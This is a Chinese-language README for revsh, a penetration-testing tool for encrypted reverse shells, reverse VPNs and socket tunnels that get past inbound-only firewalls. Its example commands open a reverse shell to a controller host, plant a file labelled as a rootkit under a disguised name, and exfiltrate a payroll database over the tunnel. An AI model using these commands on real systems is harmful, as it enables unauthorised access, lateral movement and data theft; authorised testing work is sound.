revsh 是一款用于建立带有终端支持的反向 Shell、用于高级横向移动的反向 VPN 以及任意数据隧道的工具。
什么是“反向 Shell”?
反向 Shell 是一种网络连接,可授予对远程主机的 Shell 访问权限。与 telnet 和 ssh 等其他远程登录工具不同,反向 Shell 由远程主机发起。这种从远程网络出站连接的技术能够规避仅配置为阻止入站连接的防火墙。
什么是“反向 VPN”?
revsh 能够在其加密隧道的两端附加虚拟以太网卡(tun/tap)。这些网卡可用于转发原始 IP 数据包或以太网帧。结合 Iptables NAT 规则或桥接真实以太网卡时,这使得操作员能够在目标机器网络中获得一个完全可路由的 IP 地址。本质上,这是一个完整的 VPN,它执行了回调到操作员的连接,以规避入站数据包过滤,并授予操作员完全的网络访问权限。(更多信息请参见 “Documentation/REVERSE_VPN.md”。)
什么是“绑定 Shell”?
绑定 Shell 是通过正常的正向网络连接提供的 Shell。revsh 同时支持反向 Shell 和绑定 Shell。要调用绑定 Shell,您可以在连接两端使用 -b 选项,或者将二进制文件作为 'bindsh' 调用。
我就不能用 netcat 吗?
建立反向 Shell 的技术很多,但这些方法不提供终端支持。revsh 允许反向 Shell 的连接通过伪终端进行中介,因此支持以下功能:
此外,revsh 还提供以下功能:
revsh 旨在作为渗透测试人员工具包中的辅助工具,通过加密隧道提供全套终端功能。
我可以在哪里使用 revsh?
revsh 是在 x86_64 Linux 上开发的。以下是一份简要的已使用过的架构/操作系统组合列表:
(如果您已成功在其他平台上使用 revsh,请告知我,我会将其添加到列表中。)
empty@monkey:~$ revsh -h
控制端: revsh -c [控制端选项] [共同选项] [地址[:端口]]
目标端: revsh [目标端选项] [共同选项] [地址[:端口]]
地址 控制监听器的地址。 (默认为 "0.0.0.0"。)
端口 控制监听器的端口。 (默认为 "2200"。)
控制端选项:
-c 以“命令与控制”模式运行。 (默认为目标端模式。)
-a 启用匿名 Diffie-Hellman 模式。 (默认为临时 Diffie-Hellman。)
-d KEYS_DIR 引用备用目录中的密钥。 (默认为 "~/.revsh/keys/"。)
-f RC_FILE 引用备用的 rc 文件。 (默认为 "~/.revsh/rc"。)
-s SHELL 将 SHELL 作为远程 Shell 调用。 (默认为 "/bin/bash"。)
-F LOG_FILE 将一般使用和错误记录到 LOG_FILE。 (未设置默认值。)
目标端选项:
-t 秒 将连接超时设置为 秒 秒。 (默认为 "3600"。)
-r 秒1,秒2 将重试时间设置为 秒1 秒,或 (默认为 "600,1200"。)
在 秒1 到 秒2 范围内随机。
共同选项:
-k 以保持活动模式运行。
节点不会正常退出,也不会超时。
-L [本地主机:]本地端口:远程主机:远程端口
静态套接字转发,本地监听器
在 本地主机:本地端口 转发到 远程主机:远程端口。
-R [远程主机:]远程端口:本地主机:本地端口
静态套接字转发,远程监听器
在 远程主机:远程端口 转发到 本地主机:本地端口。
-D [本地主机:]本地端口
动态套接字转发,本地监听器
在 本地主机:本地端口。 (Socks 4, 4a 和 5。仅 TCP 连接。)
-B [远程主机:]远程端口
动态套接字转发,远程
监听器在 本地主机:本地端口。 (Socks 4, 4a 和 5。仅 TCP 连接。)
-x 禁用代理自动设置。 (默认:代理 D2280 和 tun/tap 设备。)
-b 以绑定 Shell 模式启动。 (默认为反向 Shell 模式。)
-b 标志必须在两端都使用。
-n 非交互式 netcat 风格数据中继。 (默认为带远程 tty 的交互式。)
无 tty。适用于复制文件。
-v 详细模式。-vv 和 -vvv 增加详细程度。
-V 打印程序及协议版本。
-h 打印此帮助信息。
-e 打印一些使用示例。
首先,您需要从源代码构建 OpenSSL。(请参见下面的 注意。)
git clone https://github.com/openssl/openssl.git
cd openssl/
./config no-shared -static # 这些选项是为了构建针对 OpenSSL 的静态应用程序所必需的。
make && make test # 我们跳过 "make install",以免与系统默认的 OpenSSL 冲突。我们将在此树中针对刚刚编译的 OpenSSL 构建 _revsh_。
cd ..
现在构建 revsh。
git clone https://github.com/emptymonkey/revsh.git
cd revsh
vi config.h # 设置适合您情况的新默认值。
vi Makefile # 检查选定的构建环境是否是您想要的。(默认情况下可能已经是了。)
make # 这*可能*需要很长时间,但通常不会。
make install
vi ~/.revsh/rc # 添加您喜欢的启动命令,真正自定义远程 Shell 的体验。
revsh -h
注意: 随着 OpenSSL 1.1.0 的发布,OpenSSL 需要从源代码构建,以便在静态链接的二进制文件中使用。针对大多数 Linux 发行版(包括 Kali)附带的 OpenSSL 库构建静态链接的二进制文件将不起作用。(如果它能够构建,也将会段错误。)
控制主机示例 IP:192.168.0.42
目标主机示例 IP:192.168.0.66
默认端口 '2200' 的交互示例:
控制端: revsh -c
目标端: revsh 192.168.0.42
非标准端口 '443' 的交互示例:
控制端: revsh -c 192.168.0.42:443
目标端: revsh 192.168.0.42:443
绑定 Shell 示例:
目标端: revsh -b
控制端: revsh -c -b 192.168.0.66
非交互式文件上传示例:
控制端: cat ~/bin/rootkit | revsh -c -n
目标端: revsh 192.168.0.42 > ./totally_not_a_rootkit
非交互式文件下载示例:
控制端: revsh -c -n >payroll_db.tar
目标端: cat payroll_db.tar | revsh 192.168.0.42
通过现有隧道的非交互式文件下载示例:
控制端: revsh -c -n 127.0.0.1:2291 >payroll_db.tar
目标端: cat payroll_db.tar | revsh 127.0.0.1:2290